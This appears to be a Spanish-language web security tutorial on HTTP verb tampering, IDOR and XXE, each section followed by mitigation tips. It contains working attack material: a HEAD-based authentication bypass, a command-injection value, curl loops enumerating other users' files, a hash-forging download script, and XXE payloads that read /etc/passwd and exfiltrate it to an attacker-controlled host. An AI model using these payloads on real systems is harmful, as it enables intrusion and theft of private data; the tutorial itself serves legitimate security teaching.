Ataques Web: Verbos HTTP, IDOR y XXE

1. Introducción

En el mundo de las aplicaciones web, la seguridad es una carrera entre desarrolladores y atacantes. Hoy exploraremos tres vulnerabilidades críticas: Manipulación de Verbos HTTPIDOR y XXE, con ejemplos prácticos para entender cómo funcionan y cómo protegerte.


2. Manipulación de Verbos HTTP: Más Allá de GET y POST

2.1. ¿Por qué importan los verbos HTTP?

HTTP no solo usa GET y POST. Verbos como HEADPUTDELETE o OPTIONS pueden ser puertas traseras si el servidor está mal configurado.

Ejemplo 1: Eludir Autenticación Básica

Imagina una página /admin/reset.php protegida con autenticación básica. Si el servidor solo restringe GET/POST, un ataque con HEAD podría omitirla:

curl -i -X OPTIONS http://servidor:puerto/  
# Respuesta: Allow: POST, OPTIONS, HEAD, GET  

curl -X HEAD http://servidor:puerto/admin/reset.php  

Si el servidor acepta HEAD, la solicitud vacía ejecutará la acción sin pedir credenciales.

Ejemplo 2: Bypass de Filtros de Seguridad

Supongamos un filtro anti-inyección aplicado solo a parámetros GET:

if(preg_match($pattern, $_GET["code"])) {  
    $query = "SELECT * FROM ports WHERE port_code LIKE '%". $_REQUEST["code"]."%'";  
}  

Si usamos POST para enviar code=test; touch file2, el filtro no se activa, permitiendo inyección de comandos.

Consejo de DavidalVK:

  • Restringe los verbos HTTP permitidos en el servidor.
  • Usa $_POST o $_GET explícitamente, nunca $_REQUEST.

3. IDOR: Cuando los IDs Son Demasiado Obvios

3.1. ¿Qué es IDOR?

Insecure Direct Object Reference ocurre cuando una app expone referencias directas a recursos (ej: ?file_id=123), sin validar permisos.

Ejemplo 1: Enumeración Masiva de Archivos

En una app de gestión de empleados, si documents.php?uid=1 muestra documentos del usuario 1, probar uid=2,3,4... podría filtrar datos:

for i in {1..10}; do  
  curl "http://servidor:puerto/documents.php?uid=$i" | grep -oP "/documents/.*?\.pdf";  
done  

Resultado: Descargas archivos de otros usuarios si no hay control de acceso.

Ejemplo 2: Hashes Predecibles

Si un contrato se descarga con contract=cdd96d3cc73d1dbdaffa03cc6cd7339b, y descubres que es MD5(base64(uid)):

echo -n "1" | base64 | md5sum  # Genera el hash para uid=1  

Script de explotación:

for i in {1..10}; do  
  hash=$(echo -n $i | base64 -w 0 | md5sum | tr -d ' -');  
  curl -X POST -d "contract=$hash" http://servidor:puerto/download.php;  
done  

Consejo de DavidalVK:

  • Usa UUIDs aleatorios en lugar de IDs secuenciales.
  • Valida permisos en cada solicitud, aunque el usuario esté autenticado.

4. XXE: El Arte de Leer Archivos con XML

4.1. XML External Entity: La Puerta Trasera Olvidada

Si una app procesa XML sin sanitizar entidades externas, puedes leer archivos del servidor.

Ejemplo 1: Divulgación de /etc/passwd

<?xml version="1.0"?>  
<!DOCTYPE email [  
  <!ENTITY archivo SYSTEM "file:///etc/passwd">  
]>  
<email>&archivo;</email>  

Respuesta: El contenido de /etc/passwd se muestra en la página.

Ejemplo 2: Exfiltración Ciega con CDATA

Si el servidor no muestra salidas, usa un DTD externo:

<!DOCTYPE email [  
  <!ENTITY % begin "<![CDATA[">  
  <!ENTITY % archivo SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">  
  <!ENTITY % end "]]>">  
  <!ENTITY % xxe SYSTEM "http://tui-p:8000/exploit.dtd">  
  %xxe;  
]>  

exploit.dtd:

<!ENTITY % payload "<!ENTITY &#x25; enviar SYSTEM 'http://tui-p:8000/?data=%archivo;'>">  
%payload;  

Resultado: El servidor envía el archivo codificado en Base64 a tu IP.

Consejo de DavidalVK:

  • Deshabilita entidades externas en bibliotecas XML (ej: libxml_disable_entity_loader en PHP).
  • Usa formatos como JSON en lugar de XML cuando sea posible.

5. Conclusión

La seguridad web es un juego de detalles. Pequeños errores, como un verbo HTTP permitido o un ID expuesto, pueden comprometer todo un sistema. Prueba siempre tus apps con herramientas como Burp Suite o scripts personalizados, y nunca subestimes el poder de una configuración segura.

Comparte esta Publicación en Redes Sociales